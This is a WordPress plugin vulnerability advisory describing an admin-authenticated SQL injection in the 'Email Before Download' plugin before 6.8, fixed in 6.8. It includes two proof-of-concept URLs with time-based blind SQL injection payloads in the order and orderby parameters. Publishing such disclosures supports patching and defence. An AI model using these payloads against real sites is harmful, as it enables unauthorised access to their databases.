WordPress Plugin Vulnerabilities
Email Before Download < 6.8 - Admin+ SQL Injection
Description
The plugin does not properly validate and escape the order and orderby GET parameters before using them in SQL statements, leading to authenticated SQL injection issues
Proof of Concept
https://example.com/wp-admin/admin.php?page=email-before-download-links&order=desc&orderby=time_requested+AND+%28SELECT+1554+FROM+%28SELECT%28SLEEP%285%29%29%29gPZH%29 https://example.com/wp-admin/admin.php?page=email-before-download-links&orderby=time_requested&order=+AND+%28SELECT+42+FROM+%28SELECT%28SLEEP%285%29%29%29b%29
Affects Plugins
Fixed in version 6.8
References
Classification
Miscellaneous
Original Researcher
bl4derunner
Submitter
Anton Sarsadskikh
Verified
Yes
Timeline
Publicly Published
2021-11-01 (about 10 months ago)
Added
2021-11-01 (about 10 months ago)
Last Updated
2022-04-09 (about 5 months ago)